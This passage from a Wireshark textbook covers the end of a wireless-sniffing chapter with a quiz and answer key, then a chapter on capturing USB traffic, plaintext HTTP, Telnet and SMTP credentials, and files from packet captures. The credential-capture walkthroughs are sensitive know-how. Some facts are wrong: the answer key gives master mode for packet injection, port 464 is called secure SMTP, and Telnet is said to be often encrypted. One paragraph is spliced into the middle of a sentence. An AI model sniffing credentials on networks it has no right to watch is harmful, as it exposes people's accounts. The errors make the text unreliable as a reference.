Sniffing on 802.11 wireless networks (WLAN) can be a useful and powerful technique for network analysis and troubleshooting, but it also poses several limitations and challenges that need to be considered and addressed. By using appropriate hardware, software, and best practices, sniffers can overcome these obstacles and capture and analyze wireless traffic effectively and efficiently.

 

Conclusion

In this chapter, we have explored how to sniff on 802.11 wireless networks (WLAN) using Wireshark. We have discussed the basics of WLAN, including the architecture of 802.11 wireless networks, the structure of 802.11 packets, and the different modes of operation of wireless network cards. We have also covered the difference between monitor mode and promiscuous mode, which are important for capturing WLAN network traffic.

We have seen how to set up a WLAN capture and how to capture and analyze WLAN network traffic using Wireshark. Specifically, we have covered how to perform a sniffer capture analysis for WPA/WPA2 with PSK or EAP, multicast, and web authentication.

In the next chapter, we will continue our exploration of Wireshark by examining how to sniff sensitive information, credentials, and files for ethical hacking and network analysis purposes. This will involve exploring different attack scenarios and techniques, such as password sniffing, ARP spoofing, and file extraction, among others.

 

Questions

1. What  is  the  purpose  of  the  four-way  handshake  in

WPA/WPA2 Wi-Fi security?

a) To associate a wireless client to an access point

b) To generate encryption keys for data transmission

c) To authenticate a wireless client with a RADIUS server

d) All of the above

2. What  is  the  primary  difference  between  monitor

mode and promiscuous mode in Wireshark?

a)  Monitor  mode  captures  only  unencrypted  packets,

while  promiscuous  mode  captures  both  encrypted  and unencrypted packets.

b)  Monitor  mode  captures  only  packets  sent  to  a

particular  wireless  client,  while  promiscuous  mode captures all packets on the wireless network.

c)  Monitor  mode  captures  packets  in  real-time,  while

promiscuous mode captures packets stored in a buffer.

d)  Monitor  mode  captures  only  unencrypted  packets,

while  promiscuous  mode  captures  packets  stored  in  a buffer.

3. Which  of  the  following  is  an  example  of  a  multicast

address in IPv4?

a) 192.168.0.1

b) 255.255.255.0

c) 224.0.0.1

d) All of the above

4. What is the purpose of the SSDP?

a) To discover and communicate with network printers

b) To discover and communicate with network file shares

c) To discover and communicate with UPnP devices

d) None of the above

5. Which  of  the  following  wireless  card  modes  is  used

for packet injection and other advanced attacks?

a) Master mode

b) Managed mode

c) Monitor mode

d) Promiscuous mode

6. Which layer of the OSI model does the 802.11 packet

structure belong to?

a) Physical layer

b) Data link layer

c) Network layer

d) Transport layer

7. What is the purpose of web authentication in 802.11

wireless networks?

a) To authenticate wireless clients with a RADIUS server

b) To encrypt wireless network traffic

c)  To  allow  wireless  clients  to  authenticate  through  a

captive portal

d) To establish a secure VPN connection

8. Which of the following Wi-Fi security standards uses

802.1X authentication?

a) WEP

b) WPA-Personal

c) WPA2-Enterprise

d) WPA3-SAE

9. What  is  the  purpose  of  the  Beacon  frame  in  802.11

wireless networks?

a) To synchronize wireless clients with the access point

b) To broadcast the SSID of the wireless network

c) To encrypt wireless network traffic

d) To announce the available bandwidth of the network

10. What is the difference between a passive and active

scan in Wi-Fi?

a) A  passive  scan  listens  for  beacon  frames  from  access

points,  while  an  active  scan  sends  probe  requests  to access points.

b) A passive scan sends probe requests to access points,

while  an  active  scan  listens  for  beacon  frames  from access points.

c)  There  is  no  difference  between  passive  and  active

scans in Wi-Fi.

d) Passive scan only works with open networks, while an

active scan works with encrypted networks.

 

Answers

1. b

2. b

3. c

4. c

5. a

6. b

7. c

8. c

9. b

10. a
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CHAPTER 5

 

Sniffing Sensitive

Information, Credentials and

Files

 

Introduction

In today's digital world, sensitive information and credentials are the lifeblood of many organizations and individuals. With the increasing reliance on online platforms and the internet, the threat of cyber-attacks and data breaches has become more significant than ever before. One of the most common and effective methods of obtaining sensitive information is through network sniffing.

In this chapter, we will explore the techniques used to sniff sensitive information and credentials, including files and data transmitted over the network. We will delve into the different methods used to capture data over USB interfaces, capture credentials on HTTP, and extract images from a PCAP file. We will also learn how to save PDF and ZIP files from Wireshark.

In addition, we will cover techniques for capturing Telnet and SMTP passwords, as well as identifying hosts and users using Wireshark. By the end of this chapter, you will have a comprehensive understanding of how to use Wireshark to sniff sensitive information and credentials and how network sniffing is used for cyber-attacks.

Structure

In this chapter, we will discuss the following topics:

Sniffing the activity over USB Interfaces

Capturing credentials on HTTP

Extracting images from PCAP file using Wireshark

PDF and ZIP file saving from Wireshark

Capturing Telnet Password

Capturing SMTP Password

Identifying hosts and users with Wireshark

 

Objectives

The objective of this chapter is to provide a comprehensive understanding of using Wireshark to sniff sensitive information, credentials, and files. They will gain practical knowledge on how to use the different features of Wireshark to capture and analyze network traffic. We will further learn how to interpret the captured data to identify sensitive information, credentials, and files.

By the end of this chapter, readers will have a deep understanding of the techniques used by cybercriminals to intercept and capture data and how to protect their network from such attacks.

 

Sniffing the activity over USB interfaces

Sniffing the activity over USB interfaces using Wireshark is a powerful technique for capturing and analysing USB traffic on a network. USB devices are commonly used to transfer files and data and can be a vector for malware or other security threats. Wireshark is a powerful network analysis tool that captures and analyzes USB traffic in real time. It can decode USB packets and display detailed information about the USB devices, endpoints, and transferred data.

By capturing USB traffic using Wireshark, network administrators can monitor and analyse the activity of USB devices on the network to detect potential security issues.

To capture USB traffic using Wireshark, you will need a USB drive with the appropriate drivers installed on your system. Once you have the capture device set up, you can use Wireshark to capture USB traffic and analyze it in real time or save it for later analysis.

Let us see how to sniff USB traffic on Windows and Linux OS.

 

Sniffing USB traffic on Windows

In order to sniff USB traffic on Windows, follow the steps outlined below:

1. To capture USB traffic on Windows using Wireshark, you first

need  to  install  Wireshark  and  enable  USBPcap  during  the

installation process, as you can see in Figure 5.1. Wireshark

requires the USBPcap utility to be installed on your system

in  order  to  capture  USB  traffic.  It  will  not  be  selected  by

default;  therefore,  you  must  choose  it  explicitly,  and  then

click Install. Once you have installed Wireshark and enabled

USBPcap,  connect  the  USB  device  you  want  to  sniff  traffic

from  your  computer  and  launch  Wireshark  as  an

administrator. Refer to Figure 5.1:
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Figure 5.1: Install USBPcap

2. In  the  Wireshark  window,  go  to  the  Capture  menu  and

select Options. Look for the interface named USBPcap1, as

you  can  see  in Figure  5.2,  and  double-click  it  to  start

sniffing USB traffic on that interface:
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Figure 5.2: USBPcap interface selection option

Now, you should be able to see USB traffic from your device appearing in the Wireshark capture window. To filter the traffic to only show packets related to your device, you can use a display filter such as "usb.device_address == 2" (replace "2" with the address of your USB device). Once you have filtered the traffic, you can analyze the USB packets to understand how your device is communicating with your computer.

 

Sniffing USB traffic on Linux

To sniff USB traffic on Linux, follow the steps outlined below:

1. Before  starting  the  process,  ensure  you  have  the  latest

version  of  Wireshark  installed  on  your  Linux  system.  To

check the version of Wireshark, use the following command:

wireshark --version

This step is important because Wireshark should be able to

capture USB traffic using the Linux usbmon interface. Older

versions  of  Wireshark,  libpcap,  and  Linux  may  not  support

this feature.

2. Run  Wireshark  as  root  or  grant  your  normal  user

permissions  to  capture  traffic  by  adding  yourself  to  the

Wireshark  group  and  granting  read  permissions  on  the

/dev/usbmon* devices.

By  default,  only  the  root  user  has  permission  to  capture

network  traffic  using  Wireshark.  However,  you  can  also

grant  normal  user  permissions  to  capture  traffic  by  adding

yourself  to  the  Wireshark  group  and  granting  read

permissions on the usbmon devices.

To  add  yourself  to  the  Wireshark  group,  run  the  following

command as root:

sudo adduser $USER wireshark

This  command  adds  your  user  account  to  the  Wireshark

group,  which  grants  you  permission  to  capture  network

traffic using Wireshark.

3. To  allow  non-superusers  to  capture  packets  in  Wireshark,

run  the  following  command  and  select  "Yes"  when

prompted:

sudo dpkg-reconfigure wireshark-common

4. To  dump  USB  traffic,  load  the  usbmon  kernel  module  by

running the following command as root:

sudo modprobe usbmon

5. To  make  the  usbmonX  device(s)  readable,  grant  regular

user privileges by running the following command as root:

sudo setfacl -m u:$USER:r /dev/usbmon*

Log out and log back in for these changes to take effect.

6. Start  Wireshark  and  select  the  appropriate  USB  interface

(for example, usbmon1) in the Capture Interfaces dialog.

7. Click  the  Start  button  to  begin  capturing  USB  traffic,  in

order to identify any sensitive information transmitted over

the USB interface.

 

Finding the target device

Finding the target device when sniffing USB traffic is important because it allows us to isolate the traffic for the specific device we are interested in and filter out any noise or irrelevant traffic that may be present on the USB bus. This can make it easier to analyze the device's behavior and troubleshoot any issues that may be occurring.

When we sniff USB traffic using a tool like Wireshark, we capture all the traffic on the USB bus, which includes traffic for all the devices connected to the bus. If we do not filter out the traffic for other devices, it can make it difficult to identify the traffic for the device we are interested in. Further, it can also result in a lot of noise, making it hard to understand the device's behavior.

By finding the target device and filtering the traffic for that device, we can focus our analysis on the specific device and gain insights into its behavior, including data transfer rates, specific USB descriptors used, and any communication errors that may be occurring. This can help us diagnose and troubleshoot issues, optimize performance, and gain a deeper understanding of how the device communicates with the computer.

So, the first step is to identify the target device and filter the traffic of only that device.

To do this, we need to find the device address of the USB device we want to analyze. After sniffing USB traffic, you can find the unique number assigned to each USB device in the "Device address: #" line in the "USB URB" section of the "GET

DESCRIPTOR Response" packet, as shown in Figure 5.3. Once we have the device address, we can create a filter that only captures data for that device.
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Figure 5.3: Target device address

Now, change your packet filter to something like “usb.device_address == 4”, as per our requirement. Now only traffic sent to that specific device will be displayed, as can be seen in

Figure 5.4:
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Figure 5.4: Filtered USB packets as per the target device

Analyzing the USB traffic involves examining the packets captured by Wireshark. Each packet contains much information about the transfer, including various headers and data payloads.

The frame section of the packet, as shown in Figure 5.5, provides basic information about the transferred bytes, including the packet number, length, and data payload. This section can be useful for determining the overall structure of the data being transferred and identifying any patterns or anomalies.
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Figure 5.5: Frame section

The USB URB section of the packet, as shown in Figure 5.6, contains information about the USB transfer being performed. It includes fields such as the transfer type (for example, control, bulk, isochronous), direction (in or out), data length, and other transfer-specific information.

The URB section also contains the URB control block, which is a data structure used by the USB driver to manage the transfer. The URB control block contains fields that describe the status of the transfer, the number of bytes transferred, and any errors that occurred during the transfer.

In addition, the URB section may contain data payloads and other protocol-specific fields depending on the type of USB transfer being performed. By analyzing the URB section of a packet in Wireshark, you can gain insight into the details of the USB transfer and better understand any issues or errors that may be occurring.
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Figure 5.6: USB URB section

The USB Mass Storage section of the packet, as shown in Figure

5.7, provides information specific to the USB Mass Storage protocol, such as the SCSI command being executed and any associated data or status codes.

The USB Mass Storage packet section contains several fields that provide important information about the command being executed and its outcome. These fields include the Signature, Tag, DataResidue, and Status fields. The Signature field identifies the type of command being executed, while the Tag field is used to match response packets with the original command packet. The DataResidue field indicates how much data was not transferred during the command, and the Status field indicates the success or failure of the command execution.

By examining this field in Wireshark, you can better understand the behavior of USB Mass Storage devices and diagnose any issues or errors that may occur during data transfer.
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Figure 5.7: USB Mass storage section

Note: The USB Mass Storage protocol is a standard developed by the USB Implementers Forum (USB-IF) that allows USB devices, such as flash drives, external hard drives, and memory card readers, to be accessed by a host computer as if they were external hard drives. The USB Mass Storage protocol defines a standard set of commands that a USB device must support to be recognized as a mass storage device by a host computer. These commands include read and write operations, as well as device-specific operations such as ejecting the device or changing its settings. By supporting the USB Mass Storage protocol, USB devices can be easily accessed by a variety of operating systems and devices without the need for special drivers or software. This has made USB devices a popular choice for storing and transferring data, as they can be easily used on a wide range of computers and other devices.

 

By analyzing the USB traffic, you can identify various issues with the device, such as communication errors, driver problems, and device malfunctions. You can also understand how the device responds to various requests from the computer and how it sends data back to the computer. This can help you optimize the device's performance, identify any compatibility issues with the computer, and improve the user experience.

 

Capturing credentials on HTTP

HTTP is a plain text protocol, which means that any data transmitted over an HTTP connection is not encrypted and can be easily intercepted by an attacker who has access to the network. This includes sensitive information such as passwords, usernames, and other personal data.

While there has been a push towards using HTTPS as much as possible, HTTP is still used on many internal networks for various reasons, such as legacy systems that do not support HTTPS or performance concerns.

The following steps involve identifying an unprotected or vulnerable website and attempting to log in while Wireshark captures the network traffic:

1. The  first  step  is  to  identify  a  website  that  uses  HTTP  and

does  not  have  encryption  enabled.  This  is  usually  an

insecure  website  that  does  not  have  a  valid  SSL/TLS

certificate.  Once  you  have  identified  such  a  website,  you

can  attempt  a  login  on  to  the  site.  This  login  attempt  will

generate network traffic that can be captured by Wireshark.

Here,       we       are       using       the       website:

http://testphp.vulnweb.com/login.php,  as  shown  in

Figure 5.8:
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Figure 5.8: HTTP Website

2. Once you have identified the website and are ready to make

a  login  attempt,  you  should  start  capturing  network  traffic

using Wireshark. This is done by clicking the Capture button

in  the  upper  left  corner  of  the  Wireshark  window.  It  is

important to start capturing traffic before making the login

attempt to ensure all relevant packets are captured.

3. After  you  have  captured  the  network  traffic,  you  should

filter the packets to focus on the login attempt. To do this,

you  can  use  Wireshark's  filtering  capabilities  to  show  only

the  packets  that  use  the HTTP  POST  method.  This  will

narrow  down  the  search  and  make  it  easier  to  find  the

packets that contain the login credentials.

To  filter  packets  by HTTP  POST  method,  you  can  type

"http.request.method  ==  POST"  into  the  Wireshark  filter  box,  as

shown in Figure 5.9:
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Figure 5.9: HTTP POST method

 

4. Once  you  have  filtered  the  packets  to  show  only  the  HTTP

POST  packets,  you  can  proceed  to  locate  the  packet  that

contains the login credentials. To do this, you can follow the

TCP stream of the relevant packet by right-clicking on it and

selecting Follow  and  then TCP  Stream.  This  will  display  the

entire conversation between the client and the server.

5. Once  you  have  located  the  TCP  stream  that  contains  the

login  credentials,  you  can  search  for  the  credentials  within

the  stream.  The  login  credentials  will  be  contained  in  the

HTTP  POST  data  sent  from  the  client  to  the  server.  The

username  and  password  will  usually  be  in  plain  text  within

the packet data, as shown in Figure 5.10:
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Figure 5.10: TCP Stream

Hackers can use stolen login credentials from HTTP for malicious purposes such as unauthorized access to user accounts, phishing attacks, and identity theft. Whereas, security professionals can encourage the use of HTTPS (which is the encrypted version of HTTP), implement multi-factor authentication, regularly audit user accounts for suspicious activity, and educate users on best practices for protecting their accounts. It is crucial to take these preventative measures since capturing login credentials on HTTP is illegal and unethical.

However, HTTPS does not guarantee complete security from network sniffing. HTTPS encrypts the data that is transmitted between the client and the server using SSL or TLS protocols. This means that a sniffer like Wireshark cannot see the contents of the data, such as passwords, credit card numbers, or personal information. But it can still see some metadata about the connection, such as the IP addresses of the client and the server, the port numbers, the length of the packets, and the SSL/TLS handshake messages. These metadata can reveal some information about the nature and behavior of the connection, such as the domain name of the server, the cipher suite used for encryption, the certificate authority that issued the server’s certificate, and the duration and frequency of the communication.

Also, some advanced techniques can also be used to decrypt HTTPS traffic using Wireshark, such as using a pre-master secret key or an RSA key that are generated by the client and used by the server to derive a master key that encrypts the session traffic.

Therefore, while HTTPS provides a higher level of security than HTTP, it is not immune to network sniffing. Users and administrators should be aware of the limitations and risks of HTTPS and take additional measures to protect their data and privacy.

 

Extracting images from PCAP file using Wireshark

Wireshark is a powerful network protocol analyzer tool that can be used to monitor network traffic and extract useful information from it. It can also be used to extract images from PCAP files. Extracting images from a PCAP file helps to identify and analyze any potential security threats related to images that are transmitted over the network, as well as to investigate incidents involving inappropriate or unauthorized use of company resources or intellectual property.

Follow these steps to extract images from a PCAP file using Wireshark:

1. Open the Wireshark application by double-clicking the icon

on your desktop or from your Applications folder.

2. Click  the  Edit  menu  on  the  top  navigation  bar  and  select

Preferences.  Alternatively,  press  the Shift,  Ctrl and P  keys

simultaneously  on  your  keyboard.  This  step  opens  the

Preferences  window,  where  you  can  customize  various

options in Wireshark.

3. Expand the Protocols option from the window's left sidebar.

Go to TCP in the expanded protocol list. In this step, you are

expanding  the Protocols  section  in  the Preferences

window  to  find  the TCP  option.  This  option  needs  to  be

enabled to allow Wireshark to reassemble packets that are

split across multiple TCP segments.

4. Check the box for the Allow subdissector to reassemble TCP

streams  option,  as  shown  in Figure  5.11.  It  should  be

enabled. By enabling this option, Wireshark will reassemble

packets that span multiple TCP segments, making it easier

to view the entire packet payload, including images.
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Figure 5.11: TCP protocol options

5. Now, click the HTTP protocol option from the protocols list in

the  left  sidebar  to  pull  it  up.  HTTP  is  the  protocol  used  by

web  browsers  and  servers  to  transfer  web  page  content,

including images. By enabling the options for reassembling

HTTP  headers  and  bodies,  you  are  allowing  Wireshark  to

reassemble any HTTP traffic, including image files.

6. Check  the  boxes  for  Reassemble  HTTP  headers  spanning

multiple  TCP  segments and Reassemble  HTTP  bodies

spanning  multiple  TCP  segments,  as  shown  in Figure  5.12.

Click  on  OK  to  save  your  changes.  These  options  enable

Wireshark  to  reassemble  HTTP  headers  and  bodies  that

span multiple TCP segments, allowing you to view the entire

contents of an HTTP message, including images.
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Figure 5.12: HTTP protocol options

7. Select  your  network  interface  and  click  Capture  from  the

main menu and select Start. Allow the Wireshark to capture

enough  packets,  then  stop  the  capture  process.  Or  go  to

directory where you saved the PCAP file and double click to

open in Wireshark.

Note: To extract images from a PCAP file, you must first capture the network traffic containing the image files. Start the capture process and allow Wireshark to capture enough data to include the image files you want to extract. Then stop the capture process.

 

8. After  stopping  the  capture  process,  you  can  export  the

captured HTTP objects, including images. To do so, click on

FILE  on  the  main  menu  bar  of  the  Wireshark,  go  down  to

Export Objects, next click on HTTP. The Export HTTP object

list window will appear, as shown in Figure 5.13.

9. Now, you can save all the HTTP objects or you can also save

a  particular  image  file  to  your  local  system.  The  Export

Objects dialog box allows you to choose whether to save all

HTTP  objects  or  only  specific  ones.  To  save  an  image  file,

locate the file in the list of objects and select it. Then click

the Save button to save the file to your local system.
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Figure 5.13: Export HTTP object list window

 

You have successfully extracted the images from the PCAP file using Wireshark. By following the above steps, you can easily extract images from any PCAP file that contains HTTP traffic.

Note: We cannot directly extract and view images over HTTPS protocol using Wireshark. HTTPS encrypts data transmitted between a user's browser and the website to ensure security and privacy. Wireshark cannot decrypt HTTPS traffic without the proper encryption keys. If you have authorization and access to the encryption keys, you can decrypt and view HTTPS traffic, including images, using Wireshark.

 

PDF and ZIP files saving from Wireshark

Wireshark is a highly adaptable packet analysis program capable of interpreting a wide range of protocols and extracting files from them, including HTTP, DICOM, and SMB. It is also possible to extract files from other protocols with some manual processing. Overall, Wireshark is a versatile tool for analyzing network traffic and extracting relevant data from various protocols.

In addition to analyzing network traffic, Wireshark also allows users to extract specific types of files from network traffic, such as PDF and ZIP files. PDF and ZIP files can be easily intercepted by hackers using Wireshark on HTTP traffic, as they are transmitted in clear text over unsecured networks. Hackers can use Wireshark to capture the packets that contain these files and then save them to their own computer.

Network administrators and security professionals may use Wireshark to capture PDF and ZIP files to investigate network traffic and identify potential security threats or anomalies. They may save these files to further analyze them and determine if any sensitive information has been leaked or if there are any security vulnerabilities that need to be addressed.

Let us see how to extract PDF and ZIP files using Wireshark.

 

Extracting a PDF file using Wireshark

To extract a PDF file from network traffic using Wireshark, follow these steps:

1. Start Wireshark and begin capturing packets.

2. Minimize  Wireshark  and  open  the  web  page  that  contains

the PDF file you want to extract.

3. Download the PDF file from the web page.

4. Switch back to Wireshark and stop the packet capture.

5. Filter  the  captured  packets  to  show  only  HTTP  traffic.  You

can do this by typing "http" into the filter bar at the top of

the Wireshark window and pressing Enter.

6. Look for the HTTP GET request that corresponds to the PDF

file you want to extract. The request should end with ".pdf",

as shown in Figure 5.14:

[image: ]

 

Figure 5.14: HTTP get request that end with .pdf

7. From  the  Wireshark menu,  select  File  |  Export  Objects  |

HTTP.

8. In  the  Export  HTTP  object  list  window,  as  shown  in Figure

5.15, select the PDF file you want to extract | click the Save

button | choose a location to save the file.

[image: ]

Figure 5.15: Export HTTP object list window

 

So, extracting a PDF file from captured raw packets using Wireshark can be a valuable technique for network analysis and security investigations. By following the steps mentioned above, you can extract HTTP objects, including a PDF file, from captured packets. This method can help network administrators and security analysts identify network traffic patterns and detect potential security threats. Overall, this process can provide valuable insights into network activity and facilitate effective network management.

 

Extracting a ZIP file using Wireshark

To extract a ZIP file from network traffic using Wireshark, follow these steps:

1. Open Wireshark and start capturing packets by clicking the

Start Capture button.

2. Before  opening  the  webpage  and  downloading  the  zip  file,

minimize  the  Wireshark  capture  window  to  ensure  the

packets captured are related to the download process.

3. Browse  to  the  website http://xcal1.vodafone.co.uk/  and

download the extra small zip file of size 5 MB.

4. After the download is completed, stop capturing packets by

clicking on the Stop Capture button in Wireshark.

5. Extract  the  HTTP  objects  related  to  the  download  process,

and apply a display filter for HTTP. Type "http" in the display

filter bar and press Enter.

6. To  extract  the  zip  file  from  the  captured  packets,  click  on

File  in  the  Wireshark  menu  bar,  select  Export  Objects,  and

then HTTP. In the Export HTTP object list window, as seen in

Figure 5.16,  locate  the  zip  file  and  select  it.  Then  click  the

Save button to save the zip file to your computer.
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Figure 5.16: Export HTTP object list window

By following the steps outlined above, you can easily extract HTTP objects, such as a ZIP file, from captured packets. Whether you are a network administrator or a security analyst, this technique can help you gain valuable insights into network traffic and identify potential issues.

Note: Documents such as DOC, XLS, and PPT files can potentially be extracted over both HTTP and HTTPS protocols using Wireshark. However, over HTTPS protocols just like with images, this requires proper authorization and access to the decrypted traffic. Without the encryption keys or proper authorization, Wireshark will only capture encrypted data, making it unreadable and inaccessible.

 

Capturing Telnet password

Telnet is a well-known protocol that operates on TCP port 23 and is primarily used for administrative purposes. However, it is also widely known for its security vulnerabilities as it does not provide any encryption or protection against eavesdropping. Despite these risks, Telnet is still used today by many different types of devices for administration, particularly where there is no alternative, such as SSH or HTTPS web interfaces.

Some examples of devices that use Telnet include:

Network equipment like routers and switches

Video conferencing systems like Cisco Telepresence

Access control systems like access card readers

Storage and tape systems

Printers and imaging devices

Legacy IP phones

Mainframes etc.

Nonetheless, the plain text nature of Telnet communication makes it vulnerable to eavesdropping attacks, where an attacker can intercept and read the data being transmitted between the client and server.

In addition to eavesdropping attacks, Telnet is also vulnerable to other types of attacks, such as man-in-the-middle attacks, where an attacker intercepts and modifies the communication between the client and server, and replay attacks, where an attacker intercepts and replays previously transmitted messages to impersonate the client or server.

To capture Telnet traffic and extract login credentials using Wireshark, follow these steps:

1. Launch Wireshark | Choose the network interface you want

to use for capturing Telnet traffic | Click the Start button to

begin capturing network traffic.

2. Open  a  Telnet  session  and  authenticate  with  the  Telnet

server by entering the login credentials.

3. Stop  capturing  traffic  in  Wireshark  after  the  Telnet  session

has ended.

4. Type  Telnet  in  the  filter  bar  of  the  Wireshark  main  window

and press Enter to filter the captured traffic and display only

Telnet traffic, as shown in Figure 5.17:
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Figure 5.17: Filtered packets

5. Find the packet that contains the Telnet authentication and

expand the Telnet section in the packet details pane to view

the username and password fields.

6. When you find the Telnet packet containing authentication,

expand  the  Telnet  section  in  the  packet  details  pane.  In

some  cases,  the  username  and  password  fields  might  be

obscured,  displaying  only  asterisks  or  dots.  Telnet  data  is

often  encrypted  or  obfuscated,  making  it  harder  to  read

directly  from  the  captured  packets.  However,  occasionally,

the  username  and  password  might  appear  in  plain  text

within the packet details, especially if Telnet is used without

encryption.

7. To extract the credentials from the Telnet packet, right-click

on it. From the context menu that appears, select Follow |

TCP  Stream.  This  action  allows  you  to  reconstruct  the

entire TCP stream associated with the Telnet session.

By  following  the  TCP  stream,  you  may  be  able  to  see  the

conversation  between  the  client  and  server  in  a  more

readable  format.  In  this  reconstructed  stream,  the

authentication  process  might  reveal  the  username  and

password in plain text or a decipherable format, as can be

seen in Figure 5.18.
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Figure 5.18: TCP stream

Remember that capturing Telnet traffic is not secure, as passwords and other sensitive information are transmitted in plain text. Therefore, it is highly recommended to use more secure protocols like SSH or HTTPS for remote administration whenever possible.

 

Capturing SMTP password

SMTP, or Simple Mail Transfer Protocol, has been around for many years and operates on port tcp/25. While there is a secure alternative available on port tcp/464, port tcp/25 is still commonly used on many mail servers due to backward compatibility. However, most servers on port tcp/25 require the “STARTTLS” command to initiate SSL/TLS encryption before authentication attempts.

Unfortunately, some organizations still support plain text authentication over unencrypted channels due to legacy systems within their networks. This presents a security risk as well-positioned attackers can easily sniff credentials by base64 decoding the username and password during an SMTP transaction. This is because SMTP uses base64 encoding to encode login credentials during transactions.

To capture packets and sniff SMTP credentials using Wireshark, follow the steps mentioned below:

1. Before initiating the authentication process, start capturing

the network traffic using Wireshark. This will capture all the

packets  being  transmitted  over  the  network  during  the

authentication  process,  including  any  SMTP  packets

containing login credentials.

2. In  Wireshark,  you  can  filter  captured  packets  by  various

protocols.  To  display  only  the  SMTP-related  packets,  type

“smtp”  in  the Filter  Name  field.  This  will  filter  the  packets

and  show  only  those  related  to  SMTP,  as  can  be  seen  in

Figure 5.19:
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Figure 5.19: Filtered packets

3. Look for packets containing login credentials. These packets

will typically be labeled as “User” and “Pass”. These packets

will contain the username and password, respectively.

Double-click on the “User” and “Pass” packets to open them

in  Wireshark's  packet  details  window.  This  window  will

display the captured packets in a more readable format.

See the “User” packet in Figure 5.20:
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Figure 5.20: SMTP “user” packet

See the “Pass” packet in Figure 5.21:
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Figure 5.21: SMTP “pass” packet

4. In  the  packet  details  window,  right-click  on  the  username

and password fields to copy their values.

SMTP  utilizes  base64  encoding  to  encode  both  the

username and password. Base64 is a method for encoding

data  using  64  ASCII  characters.  It  is  commonly  used  in

email  systems,  including  SMTP,  to  encode  data,  including

usernames  and  passwords.  To  decode  the  credentials

obtained  from  a  captured  SMTP  transaction,  an  online

base64 decoding and encoding website can be used.

5. To decode the username and password, you must go to an

online  base64  decoding  and  encoding  website.  There  are

many  such  websites  available  online.  Then,  you  need  to

paste  the  base64-encoded  username  and  password

obtained from the Wireshark capture into the decoding field

of the website. The website will then decode and display the

resulting values, as shown in Figures 5.22 and 5.23:

Decoded username can be seen in Figure 5.22:
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Figure 5.22: Decoded username

 

Decoded password can be seen in Figure 5.23:
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Figure 5.23: Decoded password

It is important to note that decoding base64-encoded credentials is not the same as decrypting encrypted data. Base64 encoding is a simple encoding method that does not provide any security or encryption of the data. Therefore, it is crucial to use secure protocols like SSL/TLS to protect sensitive data like usernames and passwords during transmission over the network.

 

Identifying hosts and users with Wireshark

Wireshark is indeed a powerful network packet analyzer tool that allows you to capture and analyze network traffic in real time. With Wireshark, you can capture packets transmitted over your network and analyze them to identify various hosts and users, as well as any potential security threats or issues.

Here are the steps to follow in order to identify hosts and users using Wireshark:

1. Start  capturing  network  traffic  on  the  network  you  want  to

analyze by selecting the appropriate interface in Wireshark

and  clicking  on  the "Start"  button.  This  will  capture  all

network traffic that passes through the selected interface.

2. In  the  Wireshark  capture  window,  apply  a  display  filter  to

show  only  traffic  coming  from  a  specific  IP  address.  To  do

this, click on the "Filter" box at the top of the screen and

type  in  the  filter  expression.  For  example,  to  show  traffic

from  the  IP  address  192.168.1.100,  enter "ip.addr  ==

192.168.1.100"  in  the  filter  box.  This  will  show  only  packets

that are either sent or received by the specified IP address.

3. Look for packets that contain IP addresses, MAC addresses,

and  other  identifying  information.  For  example,  in  the

packet  details  pane,  look  for  the  source  and  destination  IP

addresses,  as  well  as  the  source  and  destination  MAC

addresses.  You  can  also  look  for  packets  that  contain  login

credentials,  session  identifiers,  and  other  information  that

can help you identify specific users.

4. Dynamic  Host  Configuration  Protocol  (DHCP)  and

NetBIOS Name Service (NBNS) are two types of network

traffic that can help you identify hosts on your network.

DHCP  is  used  to  assign  IP  addresses  to  devices  on  a

network, and NBNS is used by Microsoft Windows and Apple

hosts to resolve host names to IP addresses.

To filter on DHCP and NBNS activity, you can use the display

filter option in Wireshark. For DHCP, simply type "dhcp" in the

filter  field,  then  look  for  packets  that  contain  the  client

identifier (MAC address) and hostname, as shown in Figure

5.24:
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Figure 5.24: DHCP filtered with client MAC address and Host name

For NBNS, simply type "nbns" in the filter field. By selecting

the first frame, you can swiftly correlate the IP address and

hostname., as shown in Figure 5.25:
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Figure 5.25: NBNS filtered with IP address and Host name

5. In  the  "Statistics"  menu,  select  "Endpoints"  to  see  a  list  of

the IP addresses and port numbers that have been used in

the  captured  traffic,  as  shown  in Figure 5.26.  You  can  also The chapter has equipped readers with the skills and knowledge necessary to extract and analyze sensitive information from network traffic using Wireshark. These skills are essential for security professionals who are tasked with identifying and mitigating security threats, as well as for network administrators who need to troubleshoot network issues.

select  "Conversations"  to  see  a  list  of  the  most  active

network  connections.  This  can  help  you  identify  hosts  and

users generating a large amount of network traffic.
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Figure 5.26: Wireshark endpoints window

6. Right-click  on  a  packet  and  select  "Follow  TCP  Stream"  or

"Follow  UDP  Stream"  to  see  the  data  exchanged  between

hosts  and  users.  This  can  help  you  identify  specific  users

and  the  applications  they  are  using.  For  example,  you  can

follow the stream of a web browsing session to see the URLs

that were visited. Similarly, you can follow the stream of an

email  conversation  to  view  the  content  of  the  email

messages.

Overall, these steps can help you identify hosts and users on your network by analyzing the captured packets in Wireshark.

 

Conclusion

In conclusion, the chapter on Sniffing Sensitive Information, Credentials and Files using Wireshark has provided readers with an in-depth understanding of how to use Wireshark to intercept and extract sensitive data. From sniffing activity over USB interfaces to capturing Telnet and SMTP passwords, readers have learned various techniques for extracting sensitive information using Wireshark.

The chapter has also covered techniques for identifying hosts and users with Wireshark, allowing readers to identify the source and destination of network traffic and the users transmitting the data.

The next chapter on Analyzing Network Traffic based on Protocols using Wireshark will build upon the knowledge gained in this chapter, providing readers with the tools and techniques necessary to analyze network traffic effectively using Wireshark.

The chapter will begin by providing an overview of the different network protocols, including TCP, UDP, HTTP, SMTP, and Telnet. The chapter will then dive into analyzing traffic based on these protocols, providing practical examples of how to use Wireshark to interpret network traffic.

Readers will learn how to identify different types of traffic based on the protocols used, as well as how to identify anomalies in the network traffic. The chapter will also cover techniques for troubleshooting network issues using Wireshark, including identifying latency and packet loss.

 

Exercises

1. Which  section  of  Wireshark  is  used  to  analyze

captured packets?

a) Capture

b) Display

c) Statistics

d) File

2. What is the primary purpose of sniffing activity over

USB interfaces?

a) To optimize USB device performance

b) To prevent unauthorized USB device connections

c) To monitor and analyze USB communication

d) To enhance USB encryption

3. How can Wireshark be used to extract images from a

PCAP file?

a) By using the "Follow TCP Stream" feature.

b) By using the "Export Objects" feature.

c) By using the "Find" feature.

d) By using the "Statistics" feature.

4. Which  of  the  following  is  a  technique  for  capturing

Telnet passwords?

a) Capturing SMTP passwords

b) Capturing USB activity

c) Capturing Telnet traffic

d) Capturing login credentials

5. What type of information can be stolen on HTTP?

a) Usernames and passwords

b) Credit card information

c) Social security numbers

